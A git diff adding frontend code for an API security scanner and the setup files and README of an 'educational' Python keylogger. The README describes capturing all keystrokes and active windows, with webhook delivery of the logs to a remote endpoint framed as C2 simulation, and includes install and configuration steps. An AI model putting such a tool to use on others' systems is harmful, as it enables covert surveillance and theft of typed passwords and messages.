+ ); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/pages/ScanResultsPage.css b/PROJECTS/api-security-scanner/frontend/src/pages/ScanResultsPage.css new file mode 100644 index 00000000..4a54b69a --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/pages/ScanResultsPage.css @@ -0,0 +1,131 @@ +.scan-results { + min-height: 100vh; + background: linear-gradient(135deg, var(--color-bg-primary) 0%, var(--color-bg-secondary) 100%); + padding: var(--spacing-lg); +} + +.scan-results__container { + max-width: 1200px; + margin: 0 auto; +} + +.scan-results__loading, +.scan-results__error { + min-height: 60vh; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + gap: var(--spacing-md); + color: var(--color-text-secondary); + font-size: var(--font-size-lg); +} + +.scan-results__error { + color: var(--color-danger); +} + +.scan-results__header { + margin-bottom: var(--spacing-xl); +} + +.scan-results__back-link { + display: inline-flex; + align-items: center; + gap: var(--spacing-xs); + color: var(--color-accent-primary); + text-decoration: none; + font-weight: var(--font-weight-medium); + font-size: var(--font-size-sm); + margin-bottom: var(--spacing-md); + transition: color var(--transition-fast); +} + +.scan-results__back-link:hover { + color: var(--color-accent-hover); +} + +.scan-results__back-link:focus-visible { + outline: 2px solid var(--color-accent-primary); + outline-offset: 2px; + border-radius: var(--radius-sm); +} + +.scan-results__title { + font-size: var(--font-size-3xl); + font-weight: var(--font-weight-bold); + color: var(--color-text-primary); + margin: 0 0 var(--spacing-md) 0; + letter-spacing: -0.02em; +} + +.scan-results__metadata { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); + gap: var(--spacing-md); + padding: var(--spacing-lg); + background: var(--glass-bg); + border: 1px solid var(--glass-border); + border-radius: var(--radius-lg); +} + +.scan-results__meta-item { + display: flex; + flex-direction: column; + gap: var(--spacing-xs); +} + +.scan-results__meta-label { + font-size: var(--font-size-xs); + font-weight: var(--font-weight-semibold); + color: var(--color-text-secondary); + text-transform: uppercase; + letter-spacing: 0.05em; +} + +.scan-results__meta-value { + font-size: var(--font-size-base); + font-weight: var(--font-weight-medium); + color: var(--color-text-primary); + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.scan-results__vuln-count { + padding: 0.25rem 0.75rem; + border-radius: var(--radius-sm); + font-weight: var(--font-weight-bold); + display: inline-block; +} + +.scan-results__vuln-count--danger { + background: var(--color-danger); + color: white; +} + +.scan-results__vuln-count--safe { + background: var(--color-success); + color: white; +} + +.scan-results__tests { + display: flex; + flex-direction: column; + gap: var(--spacing-lg); +} + +@media (width <= 768px) { + .scan-results { + padding: var(--spacing-sm); + } + + .scan-results__title { + font-size: var(--font-size-2xl); + } + + .scan-results__metadata { + grid-template-columns: 1fr; + padding: var(--spacing-md); + } +} diff --git a/PROJECTS/api-security-scanner/frontend/src/pages/ScanResultsPage.tsx b/PROJECTS/api-security-scanner/frontend/src/pages/ScanResultsPage.tsx new file mode 100644 index 00000000..b1926496 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/pages/ScanResultsPage.tsx @@ -0,0 +1,102 @@ +// =========================== +// ScanResultsPage.tsx +// ©AngelaMos | 2025 +// =========================== + +import { useParams, Link } from 'react-router-dom'; +import { useGetScan } from '@/hooks/useScan'; +import { TestResultCard } from '@/components/scan/TestResultCard'; +import { formatDateTime } from '@/lib/utils'; +import './ScanResultsPage.css'; + +export const ScanResultsPage = (): React.ReactElement => { + const { id } = useParams<{ id: string }>(); + const scanId = id !== null && id !== undefined ? parseInt(id) : 0; + + const { data: scan, isLoading, error } = useGetScan(scanId); + + if (isLoading) { + return ( +
+

Loading scan results...

+
+ ); + } + + if (error !== null && error !== undefined) { + return ( +
+

Failed to load scan results. Please try again.

+ + Back to Dashboard + +
+ ); + } + + if (scan === null || scan === undefined) { + return ( +
+

Scan not found.

+ + Back to Dashboard + +
+ ); + } + + const scanDate = formatDateTime(scan.scan_date); + + const vulnerableCount = scan.test_results.filter( + (r) => r.status === 'vulnerable', + ).length; + + return ( +
+
+
+ + ← Back to Dashboard + +

Scan Results

+
+
+ Target: + + {scan.target_url} + +
+
+ Date: + {scanDate} +
+
+ Tests Run: + + {scan.test_results.length} + +
+
+ Vulnerabilities: + 0 + ? 'scan-results__vuln-count--danger' + : 'scan-results__vuln-count--safe' + }`} + > + {vulnerableCount} + +
+
+
+ +
+ {scan.test_results.map((result) => ( + + ))} +
+
+
+ ); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/router.tsx b/PROJECTS/api-security-scanner/frontend/src/router.tsx new file mode 100644 index 00000000..009c97a2 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/router.tsx @@ -0,0 +1,42 @@ +/** + * ©AngelaMos | 2025 + * Application routing configuration + */ + +import { createBrowserRouter, Navigate } from 'react-router-dom'; +import { LoginPage } from '@/pages/LoginPage'; +import { RegisterPage } from '@/pages/RegisterPage'; +import { DashboardPage } from '@/pages/DashboardPage'; +import { ScanResultsPage } from '@/pages/ScanResultsPage'; +import { ProtectedRoute } from '@/components/common/ProtectedRoute'; + +export const router = createBrowserRouter([ + { + path: '/login', + element: , + }, + { + path: '/register', + element: , + }, + { + path: '/', + element: ( + + + + ), + }, + { + path: '/scans/:id', + element: ( + + + + ), + }, + { + path: '*', + element: , + }, +]); diff --git a/PROJECTS/api-security-scanner/frontend/src/services/authService.ts b/PROJECTS/api-security-scanner/frontend/src/services/authService.ts new file mode 100644 index 00000000..e6d53889 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/services/authService.ts @@ -0,0 +1,28 @@ +// =========================== +// authService.ts +// ©AngelaMos | 2025 +// =========================== + +import { api } from '@/lib/api'; +import { AUTH_ENDPOINTS } from '@/config/constants'; +import type { + LoginRequest, + LoginResponse, + RegisterRequest, + RegisterResponse, +} from '@/types/auth.types'; + +export const authQueryKeys = { + all: ['auth'] as const, + user: () => [...authQueryKeys.all, 'user'] as const, +} as const; + +export const authMutations = { + register: async (data: RegisterRequest): Promise => { + return api.post(AUTH_ENDPOINTS.REGISTER, data); + }, + + login: async (data: LoginRequest): Promise => { + return api.post(AUTH_ENDPOINTS.LOGIN, data); + }, +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/services/scanService.ts b/PROJECTS/api-security-scanner/frontend/src/services/scanService.ts new file mode 100644 index 00000000..6ceff6e7 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/services/scanService.ts @@ -0,0 +1,45 @@ +// =========================== +// scanService.ts +// ©AngelaMos | 2025 +// =========================== + +import { api } from '@/lib/api'; +import type { + CreateScanRequest, + CreateScanResponse, + GetScansResponse, + GetScanResponse, +} from '@/types/scan.types'; +import { SCAN_ENDPOINTS } from '@/config/constants'; + +export const scanQueryKeys = { + all: ['scans'] as const, + + lists: () => [...scanQueryKeys.all, 'list'] as const, + list: () => [...scanQueryKeys.lists()] as const, + + details: () => [...scanQueryKeys.all, 'detail'] as const, + detail: (id: number) => [...scanQueryKeys.details(), id] as const, +} as const; + +export const scanQueries = { + getScans: async (): Promise => { + return api.get(SCAN_ENDPOINTS.LIST); + }, + + getScan: async (id: number): Promise => { + return api.get(SCAN_ENDPOINTS.GET(id)); + }, +}; + +export const scanMutations = { + createScan: async ( + data: CreateScanRequest, + ): Promise => { + return api.post(SCAN_ENDPOINTS.CREATE, data); + }, + + deleteScan: async (id: number): Promise => { + await api.delete(SCAN_ENDPOINTS.DELETE(id)); + }, +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/store/authStore.ts b/PROJECTS/api-security-scanner/frontend/src/store/authStore.ts new file mode 100644 index 00000000..a1bd3b49 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/store/authStore.ts @@ -0,0 +1,95 @@ +// =========================== +// authStore.ts +// ©AngelaMos | 2025 +// =========================== + +import { create } from 'zustand'; +import { immer } from 'zustand/middleware/immer'; +import { STORAGE_KEYS } from '@/config/constants'; +import type { AuthUser } from '@/types/auth.types'; + +interface AuthState { + user: AuthUser | null; + token: string | null; + isAuthenticated: boolean; + isLoading: boolean; +} + +interface AuthActions { + setAuth: (user: AuthUser, token: string) => void; + clearAuth: () => void; + loadUserFromStorage: () => void; + setLoading: (loading: boolean) => void; +} + +type AuthStore = AuthState & AuthActions; + +export const useAuthStore = create()( + immer((set) => ({ + user: null, + token: null, + isAuthenticated: false, + isLoading: true, + + setAuth: (user: AuthUser, token: string): void => { + set((state) => { + state.user = user; + state.token = token; + state.isAuthenticated = true; + state.isLoading = false; + }); + + localStorage.setItem(STORAGE_KEYS.AUTH_TOKEN, token); + localStorage.setItem(STORAGE_KEYS.USER, JSON.stringify(user)); + }, + + clearAuth: (): void => { + set((state) => { + state.user = null; + state.token = null; + state.isAuthenticated = false; + state.isLoading = false; + }); + + localStorage.removeItem(STORAGE_KEYS.AUTH_TOKEN); + localStorage.removeItem(STORAGE_KEYS.USER); + }, + + loadUserFromStorage: (): void => { + const token = localStorage.getItem(STORAGE_KEYS.AUTH_TOKEN); + const userJson = localStorage.getItem(STORAGE_KEYS.USER); + + if ( + token !== null && + token !== undefined && + userJson !== null && + userJson !== undefined + ) { + try { + const user = JSON.parse(userJson) as AuthUser; + + set((state) => { + state.user = user; + state.token = token; + state.isAuthenticated = true; + state.isLoading = false; + }); + } catch { + set((state) => { + state.isLoading = false; + }); + } + } else { + set((state) => { + state.isLoading = false; + }); + } + }, + + setLoading: (loading: boolean): void => { + set((state) => { + state.isLoading = loading; + }); + }, + })), +); diff --git a/PROJECTS/api-security-scanner/frontend/src/store/uiStore.ts b/PROJECTS/api-security-scanner/frontend/src/store/uiStore.ts new file mode 100644 index 00000000..e96b7d7f --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/store/uiStore.ts @@ -0,0 +1,176 @@ +// =========================== +// uiStore.ts +// ©AngelaMos | 2025 +// =========================== + +import { create } from 'zustand'; +import { persist } from 'zustand/middleware'; +import { immer } from 'zustand/middleware/immer'; +import type { ScanTestType } from '@/config/constants'; + +interface LoginFormState { + email: string; + password: string; + expiresAt: number | null; +} + +interface RegisterFormState { + email: string; + password: string; + confirmPassword: string; + expiresAt: number | null; +} + +interface ScanFormState { + targetUrl: string; + authToken: string; + selectedTests: ScanTestType[]; + maxRequests: string; + expiresAt: number | null; +} + +interface TestResultsState { + expandedTests: Record; +} + +interface UIState { + loginForm: LoginFormState; + registerForm: RegisterFormState; + scanForm: ScanFormState; + testResults: TestResultsState; +} + +interface UIActions { + setLoginFormField: (field: keyof Omit, value: string) => void; + setRegisterFormField: (field: keyof Omit, value: string) => void; + setScanFormField: (field: keyof Omit, value: string | ScanTestType[]) => void; + toggleTestExpanded: (testId: number) => void; + clearLoginForm: () => void; + clearRegisterForm: () => void; + clearScanForm: () => void; + clearExpiredData: () => void; +} + +type UIStore = UIState & UIActions; + +const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000; + +const getExpiry = (): number => Date.now() + SEVEN_DAYS_MS; + +const initialLoginForm: LoginFormState = { + email: '', + password: '', + expiresAt: null, +}; + +const initialRegisterForm: RegisterFormState = { + email: '', + password: '', + confirmPassword: '', + expiresAt: null, +}; + +const initialScanForm: ScanFormState = { + targetUrl: '', + authToken: '', + selectedTests: [], + maxRequests: '50', + expiresAt: null, +}; + +const initialTestResults: TestResultsState = { + expandedTests: {}, +}; + +export const useUIStore = create()( + persist( + immer((set) => ({ + loginForm: initialLoginForm, + registerForm: initialRegisterForm, + scanForm: initialScanForm, + testResults: initialTestResults, + + setLoginFormField: (field, value): void => { + set((state) => { + state.loginForm[field] = value; + state.loginForm.expiresAt = getExpiry(); + }); + }, + + setRegisterFormField: (field, value): void => { + set((state) => { + state.registerForm[field] = value; + state.registerForm.expiresAt = getExpiry(); + }); + }, + + setScanFormField: (field, value): void => { + set((state) => { + state.scanForm[field] = value as never; + state.scanForm.expiresAt = getExpiry(); + }); + }, + + toggleTestExpanded: (testId): void => { + set((state) => { + const currentValue = state.testResults.expandedTests[testId] ?? false; + state.testResults.expandedTests[testId] = !currentValue; + }); + }, + + clearLoginForm: (): void => { + set((state) => { + state.loginForm = initialLoginForm; + }); + }, + + clearRegisterForm: (): void => { + set((state) => { + state.registerForm = initialRegisterForm; + }); + }, + + clearScanForm: (): void => { + set((state) => { + state.scanForm = initialScanForm; + }); + }, + + clearExpiredData: (): void => { + set((state) => { + const now = Date.now(); + + if ( + state.loginForm.expiresAt !== null && + state.loginForm.expiresAt < now + ) { + state.loginForm = initialLoginForm; + } + + if ( + state.registerForm.expiresAt !== null && + state.registerForm.expiresAt < now + ) { + state.registerForm = initialRegisterForm; + } + + if ( + state.scanForm.expiresAt !== null && + state.scanForm.expiresAt < now + ) { + state.scanForm = initialScanForm; + } + }); + }, + })), + { + name: 'ui-storage', + partialize: (state) => ({ + loginForm: state.loginForm, + registerForm: state.registerForm, + scanForm: state.scanForm, + testResults: state.testResults, + }), + }, + ), +); diff --git a/PROJECTS/api-security-scanner/frontend/src/styles/index.css b/PROJECTS/api-security-scanner/frontend/src/styles/index.css new file mode 100644 index 00000000..8802f422 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/styles/index.css @@ -0,0 +1,52 @@ +/** + * ©AngelaMos | 2025 + * Global styles and CSS reset + */ + +/* CSS Reset */ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +html, +body { + width: 100%; + height: 100%; + overflow-x: hidden; +} + +body { + font-family: system-ui, -apple-system, 'Segoe UI', Roboto, 'Helvetica Neue', + Arial, sans-serif; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +#root { + width: 100%; + min-height: 100vh; +} + +a { + text-decoration: none; + color: inherit; +} + +button { + border: none; + background: none; + cursor: pointer; + font-family: inherit; +} + +ul, +ol { + list-style: none; +} + +img { + max-width: 100%; + height: auto; +} diff --git a/PROJECTS/api-security-scanner/frontend/src/styles/variables.css b/PROJECTS/api-security-scanner/frontend/src/styles/variables.css new file mode 100644 index 00000000..fc17cdfe --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/styles/variables.css @@ -0,0 +1,82 @@ +/** + * ©AngelaMos | 2025 + * Design Variables - Customize colors, spacing, and visual style here + */ + +:root { + /* Background Colors */ + --color-bg-primary: #0f172a; + --color-bg-secondary: #1e293b; + --color-bg-tertiary: #334155; + + /* Text Colors */ + --color-text-primary: #f8fafc; + --color-text-secondary: #94a3b8; + --color-text-tertiary: #64748b; + + /* Status Colors */ + --color-success: #16a34a; + --color-danger: #dc2626; + --color-warning: #f59e0b; + --color-info: #3b82f6; + + /* Severity Colors */ + --color-severity-critical: #dc2626; + --color-severity-high: #ea580c; + --color-severity-medium: #f59e0b; + --color-severity-low: #3b82f6; + --color-severity-info: #6b7280; + + /* Accent Colors */ + --color-accent-primary: #3b82f6; + --color-accent-hover: #2563eb; + + /* Glass Morphism */ + --glass-bg: rgb(255 255 255 / 5%); + --glass-bg-hover: rgb(255 255 255 / 8%); + --glass-border: rgb(255 255 255 / 10%); + --glass-border-hover: rgb(255 255 255 / 15%); + + /* Spacing */ + --spacing-xs: 0.5rem; + --spacing-sm: 1rem; + --spacing-md: 1.5rem; + --spacing-lg: 2rem; + --spacing-xl: 3rem; + --spacing-2xl: 4rem; + + /* Border Radius */ + --radius-sm: 6px; + --radius-md: 8px; + --radius-lg: 12px; + --radius-xl: 16px; + + /* Shadows */ + --shadow-sm: 0 1px 2px 0 rgb(0 0 0 / 5%); + --shadow-md: 0 4px 6px -1px rgb(0 0 0 / 10%); + --shadow-lg: 0 10px 15px -3px rgb(0 0 0 / 10%); + + /* Transitions */ + --transition-fast: 150ms ease; + --transition-base: 200ms ease; + --transition-slow: 300ms ease; + + /* Typography */ + --font-size-xs: 0.75rem; + --font-size-sm: 0.875rem; + --font-size-base: 1rem; + --font-size-lg: 1.125rem; + --font-size-xl: 1.25rem; + --font-size-2xl: 1.5rem; + --font-size-3xl: 2rem; + --font-size-4xl: 2.5rem; + --font-weight-normal: 400; + --font-weight-medium: 500; + --font-weight-semibold: 600; + --font-weight-bold: 700; + + /* Z-index */ + --z-dropdown: 1000; + --z-modal: 2000; + --z-toast: 3000; +} diff --git a/PROJECTS/api-security-scanner/frontend/src/types/auth.types.ts b/PROJECTS/api-security-scanner/frontend/src/types/auth.types.ts new file mode 100644 index 00000000..482401e1 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/types/auth.types.ts @@ -0,0 +1,33 @@ +// =========================== +// auth.types.ts +// ©AngelaMos | 2025 +// =========================== + +export interface RegisterRequest { + email: string; + password: string; +} + +export interface RegisterResponse { + id: number; + email: string; + is_active: boolean; + created_at: string; +} + +export interface LoginRequest { + email: string; + password: string; +} + +export interface LoginResponse { + access_token: string; + token_type: string; +} + +export interface AuthUser { + id: number; + email: string; + is_active: boolean; + created_at: string; +} diff --git a/PROJECTS/api-security-scanner/frontend/src/types/guards.ts b/PROJECTS/api-security-scanner/frontend/src/types/guards.ts new file mode 100644 index 00000000..3ae9ad9f --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/types/guards.ts @@ -0,0 +1,133 @@ +// =========================== +// guards.ts +// ©AngelaMos | 2025 +// =========================== + +import type { LoginResponse, RegisterResponse } from './auth.types'; +import type { + TestResult, + Scan, + CreateScanResponse, + GetScansResponse, + GetScanResponse, + ScanTestType, + ScanStatus, + Severity, +} from './scan.types'; +import { + SCAN_TEST_TYPES, + SCAN_STATUS, + SEVERITY, +} from '@/config/constants'; + +export const isValidLoginResponse = ( + data: unknown, +): data is LoginResponse => { + if (data === null || data === undefined) return false; + if (typeof data !== 'object') return false; + + const obj = data as Record; + + return ( + typeof obj.access_token === 'string' && + obj.access_token.length > 0 && + typeof obj.token_type === 'string' + ); +}; + +export const isValidRegisterResponse = ( + data: unknown, +): data is RegisterResponse => { + if (data === null || data === undefined) return false; + if (typeof data !== 'object') return false; + + const obj = data as Record; + + return ( + typeof obj.id === 'number' && + typeof obj.email === 'string' && + obj.email.length > 0 && + typeof obj.is_active === 'boolean' && + typeof obj.created_at === 'string' + ); +}; + +const isValidScanTestType = (value: unknown): value is ScanTestType => { + return ( + typeof value === 'string' && + Object.values(SCAN_TEST_TYPES).includes(value as ScanTestType) + ); +}; + +const isValidScanStatus = (value: unknown): value is ScanStatus => { + return ( + typeof value === 'string' && + Object.values(SCAN_STATUS).includes(value as ScanStatus) + ); +}; + +const isValidSeverity = (value: unknown): value is Severity => { + return ( + typeof value === 'string' && + Object.values(SEVERITY).includes(value as Severity) + ); +}; + +const isValidTestResult = (data: unknown): data is TestResult => { + if (data === null || data === undefined) return false; + if (typeof data !== 'object') return false; + + const obj = data as Record; + + return ( + typeof obj.id === 'number' && + typeof obj.scan_id === 'number' && + isValidScanTestType(obj.test_name) && + isValidScanStatus(obj.status) && + isValidSeverity(obj.severity) && + typeof obj.details === 'string' && + typeof obj.evidence_json === 'object' && + obj.evidence_json !== null && + Array.isArray(obj.recommendations_json) && + obj.recommendations_json.every((rec: unknown) => typeof rec === 'string') && + typeof obj.created_at === 'string' + ); +}; + +const isValidScan = (data: unknown): data is Scan => { + if (data === null || data === undefined) return false; + if (typeof data !== 'object') return false; + + const obj = data as Record; + + return ( + typeof obj.id === 'number' && + typeof obj.user_id === 'number' && + typeof obj.target_url === 'string' && + typeof obj.scan_date === 'string' && + typeof obj.created_at === 'string' && + Array.isArray(obj.test_results) && + obj.test_results.every((result: unknown) => isValidTestResult(result)) + ); +}; + +export const isValidCreateScanResponse = ( + data: unknown, +): data is CreateScanResponse => { + return isValidScan(data); +}; + +export const isValidGetScansResponse = ( + data: unknown, +): data is GetScansResponse => { + if (data === null || data === undefined) return false; + if (!Array.isArray(data)) return false; + + return data.every((scan: unknown) => isValidScan(scan)); +}; + +export const isValidGetScanResponse = ( + data: unknown, +): data is GetScanResponse => { + return isValidScan(data); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/types/scan.types.ts b/PROJECTS/api-security-scanner/frontend/src/types/scan.types.ts new file mode 100644 index 00000000..a5075354 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/types/scan.types.ts @@ -0,0 +1,42 @@ +// =========================== +// scan.types.ts +// ©AngelaMos | 2025 +// =========================== + +import type { ScanTestType, ScanStatus, Severity } from '@/config/constants'; + +export type { ScanTestType, ScanStatus, Severity }; + +export interface TestResult { + id: number; + scan_id: number; + test_name: ScanTestType; + status: ScanStatus; + severity: Severity; + details: string; + evidence_json: Record; + recommendations_json: string[]; + created_at: string; +} + +export interface Scan { + id: number; + user_id: number; + target_url: string; + scan_date: string; + created_at: string; + test_results: TestResult[]; +} + +export interface CreateScanRequest { + target_url: string; + auth_token: string | null; + tests_to_run: ScanTestType[]; + max_requests: number; +} + +export type CreateScanResponse = Scan; + +export type GetScansResponse = Scan[]; + +export type GetScanResponse = Scan; diff --git a/PROJECTS/api-security-scanner/frontend/src/vite-env.d.ts b/PROJECTS/api-security-scanner/frontend/src/vite-env.d.ts new file mode 100644 index 00000000..29c29a18 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/vite-env.d.ts @@ -0,0 +1,9 @@ +/// + +interface ImportMetaEnv { + readonly VITE_API_URL: string; +} + +interface ImportMeta { + readonly env: ImportMetaEnv; +} diff --git a/api-security-scanner/frontend/tsconfig.app.json b/PROJECTS/api-security-scanner/frontend/tsconfig.app.json similarity index 100% rename from api-security-scanner/frontend/tsconfig.app.json rename to PROJECTS/api-security-scanner/frontend/tsconfig.app.json diff --git a/api-security-scanner/frontend/tsconfig.json b/PROJECTS/api-security-scanner/frontend/tsconfig.json similarity index 100% rename from api-security-scanner/frontend/tsconfig.json rename to PROJECTS/api-security-scanner/frontend/tsconfig.json diff --git a/api-security-scanner/frontend/tsconfig.node.json b/PROJECTS/api-security-scanner/frontend/tsconfig.node.json similarity index 100% rename from api-security-scanner/frontend/tsconfig.node.json rename to PROJECTS/api-security-scanner/frontend/tsconfig.node.json diff --git a/api-security-scanner/frontend/vite.config.ts b/PROJECTS/api-security-scanner/frontend/vite.config.ts similarity index 97% rename from api-security-scanner/frontend/vite.config.ts rename to PROJECTS/api-security-scanner/frontend/vite.config.ts index fc396aaa..e565c8b1 100644 --- a/api-security-scanner/frontend/vite.config.ts +++ b/PROJECTS/api-security-scanner/frontend/vite.config.ts @@ -15,7 +15,7 @@ export default defineConfig({ extensions: ['.ts', '.tsx', '.js', '.jsx', '.json'], }, build: { - outDir: 'build', + outDir: 'dist', sourcemap: false, rollupOptions: { output: { diff --git a/api-security-scanner/package.json b/PROJECTS/api-security-scanner/package.json similarity index 100% rename from api-security-scanner/package.json rename to PROJECTS/api-security-scanner/package.json diff --git a/PROJECTS/keylogger/.style.yapf b/PROJECTS/keylogger/.style.yapf new file mode 100755 index 00000000..981e93ac --- /dev/null +++ b/PROJECTS/keylogger/.style.yapf @@ -0,0 +1,47 @@ +# ⒸAngelaMos | 2025 | CarterPerez-dev +[style] +based_on_style = pep8 +column_limit = 70 +indent_width = 4 +continuation_indent_width = 4 +indent_closing_brackets = false +dedent_closing_brackets = true +indent_blank_lines = false +spaces_before_comment = 2 +spaces_around_power_operator = false +spaces_around_default_or_named_assign = true +space_between_ending_comma_and_closing_bracket = false +space_inside_brackets = false +spaces_around_subscript_colon = true +blank_line_before_nested_class_or_def = false +blank_line_before_class_docstring = false +blank_lines_around_top_level_definition = 2 +blank_lines_between_top_level_imports_and_variables = 2 +blank_line_before_module_docstring = false +split_before_logical_operator = true +split_before_first_argument = true +split_before_named_assigns = true +split_complex_comprehension = true +split_before_expression_after_opening_paren = false +split_before_closing_bracket = true +split_all_comma_separated_values = true +split_all_top_level_comma_separated_values = false +coalesce_brackets = false +each_dict_entry_on_separate_line = true +allow_multiline_lambdas = false +allow_multiline_dictionary_keys = false +split_penalty_import_names = 0 +join_multiple_lines = false +align_closing_bracket_with_visual_indent = true +arithmetic_precedence_indication = false +split_penalty_for_added_line_split = 275 +use_tabs = false +split_before_dot = false +split_arguments_when_comma_terminated = true +i18n_function_call = ['_', 'N_', 'gettext', 'ngettext'] +i18n_comment = ['# Translators:', '# i18n:'] +split_penalty_comprehension = 80 +split_penalty_after_opening_bracket = 280 +split_penalty_before_if_expr = 0 +split_penalty_bitwise_operator = 290 +split_penalty_logical_operator = 0 diff --git a/PROJECTS/keylogger/Makefile b/PROJECTS/keylogger/Makefile new file mode 100644 index 00000000..dcf1490a --- /dev/null +++ b/PROJECTS/keylogger/Makefile @@ -0,0 +1,95 @@ +# CarterPerez-dev | 2025 +# Makefile + +.PHONY: help venv setup install install-dev test lint format clean all + +help: + @echo "Keylogger - Makefile Commands" + @echo "==========================================" + @echo "" + @echo "Setup Commands:" + @echo " make setup - Create venv and install dependencies" + @echo " make install - Install project dependencies only" + @echo " make install-dev - Install with dev tools (linters, formatters)" + @echo "" + @echo "Testing & Quality:" + @echo " make test - Run test suite" + @echo " make lint - Run all linting checks (ruff, pylint, mypy)" + @echo " make format - Format code with yapf" + @echo "" + @echo "Utility:" + @echo " make clean - Remove venv and cache files" + @echo " make all - Setup, test, and lint everything" + @echo "" + +venv: + @echo "Creating virtual environment..." + python -m venv venv + @echo "Virtual environment created at ./venv" + @echo "" + @echo "Activate with:" + @echo " source venv/bin/activate (Linux/macOS)" + @echo " venv\\Scripts\\activate (Windows)" + +setup: venv + @echo "" + @echo "Installing dependencies..." + ./venv/bin/pip install --upgrade pip + ./venv/bin/pip install -e ".[dev]" + @echo "✓ Setup complete!" + @echo "" + @echo "Run tests with: make test" + +install: + @echo "Installing main dependencies..." + pip install -e . + @echo "Dependencies installed" + +install-dev: + @echo "Installing with dev dependencies..." + pip install -e ".[dev]" + @echo "Dev dependencies installed" + +test: + @echo "Running tests..." + @echo "" + python test_keylogger.py + +lint: + @echo "Running linting checks..." + @echo "" + @echo "=== Ruff ===" + ruff check keylogger.py + @echo "" + @echo "=== Pylint ===" + pylint keylogger.py + @echo "" + @echo "=== Mypy ===" + mypy keylogger.py + @echo "" + @echo "All linting checks passed!" + +format: + @echo "Formatting code with yapf..." + yapf -i keylogger.py test_keylogger.py + @echo "Code formatted" + +clean: + @echo "Cleaning up..." + rm -rf venv + rm -rf __pycache__ + rm -rf *.pyc + rm -rf .mypy_cache + rm -rf .ruff_cache + rm -rf .pytest_cache + rm -rf *.egg-info + rm -rf build + rm -rf dist + @echo "Cleaned" + +# Do everything: setup, test, lint +all: setup test lint + @echo "" + @echo "==========================================" + @echo "Everything complete!" + @echo "==========================================" diff --git a/PROJECTS/keylogger/README.md b/PROJECTS/keylogger/README.md new file mode 100644 index 00000000..6f7139a8 --- /dev/null +++ b/PROJECTS/keylogger/README.md @@ -0,0 +1,505 @@ +# Educational Keylogger + +A Keylogger built with modern Python 3.13+ for educational purposes, security research, and authorized penetration testing. + +## Legal Disclaimer + +**IMPORTANT**: This software is provided for educational and research purposes only. Unauthorized use of keyloggers is illegal and unethical. + +- **Legal uses**: Personal learning, authorized penetration testing, security research on your own systems +- **Illegal uses**: Monitoring others without consent, corporate espionage, stalking, identity theft + +**By using this software, you agree to use it only on systems you own or have explicit written permission to monitor.** + +--- + +## Features + +### Core Functionality +- **Keyboard Event Capture**: Real time logging of all keyboard events using `pynput` +- **Timestamped Logs**: Every keystroke recorded with microsecond precision +- **Active Window Tracking**: Captures which application was active during each keystroke +- **Special Key Detection**: Logs function keys, modifiers (Ctrl, Alt, Shift), and control characters + +### Advanced Features +- **Log Rotation**: Automatic file rotation when logs exceed configurable size (default: 5MB) +- **Toggle Control**: Press F9 to pause/resume logging without stopping the process +- **Remote Delivery**: Webhook based batch delivery for C2 (Command & Control) simulation +- **Cross-Platform**: Works on Windows, macOS, and Linux with platform specific optimizations + +### Code Quality +- **Modern Python 3.13+**: Uses latest syntax (native type hints, `match` statements, dataclasses) +- **Type Safety**: Full type hints throughout codebase +- **Thread-Safe**: Lock based synchronization for concurrent operations +- **Clean Architecture**: Separation of concerns with dedicated classes for logging, delivery, tracking +- **Graceful Shutdown**: Proper cleanup and buffer flushing on exit + +--- + +## Installation + +### Prerequisites +- Python 3.13 or higher +- pip package manager + +### Quick Start (Recommended - Using Makefile) +```bash +cd keylogger/ + +# Create virtual environment and install everything +make setup + +# Run tests to verify installation +make test + +# Run linting checks +make lint +``` + +### Manual Installation + +**Option 1: Install from pyproject.toml (Recommended)** +```bash +# Create virtual environment +python -m venv venv + +# Activate virtual environment +source venv/bin/activate # Linux/macOS +# or +venv\Scripts\activate # Windows + +# Install main dependencies +pip install -e . + +# Or install with dev tools (linters, formatters, type checkers) +pip install -e ".[dev]" +``` + +**Option 2: Install from requirements.txt** +```bash +pip install -r requirements.txt +``` + +### Platform-Specific Dependencies + +**Windows** (for enhanced window tracking): +```bash +pip install -e ".[windows]" +# or manually: +pip install pywin32==311 psutil==7.1.3 +``` + +**macOS** (for window tracking): +```bash +pip install -e ".[macos]" +# or manually: +pip install pyobjc-framework-Cocoa==12.0 +``` + +**Linux** (requires xdotool): +```bash +sudo apt-get install xdotool # Debian/Ubuntu +# or +sudo yum install xdotool # RHEL/CentOS +``` + +--- + +## Usage + +### Basic Usage +```bash +python keylogger.py +``` + +### Configuration + +Edit the `main()` function in `keylogger.py` to customize behavior: + +```python +config = KeyloggerConfig( + log_dir=Path.home() / ".keylogger_logs", # Where to save logs + max_log_size_mb=5.0, # Max size before rotation + webhook_url="https://your-webhook.com/log", # Optional remote delivery + webhook_batch_size=50, # Events per batch + toggle_key=Key.f9, # Key to pause/resume + enable_window_tracking=True, # Track active windows + log_special_keys=True # Log Ctrl, Alt, etc. +) +``` + +### Controls +- **F9**: Toggle logging on/off +- **Ctrl+C**: Stop keylogger and exit + +### Example Output +``` +[2025-11-12 14:30:15] [chrome.exe - Google] Hello world +[2025-11-12 14:30:18] 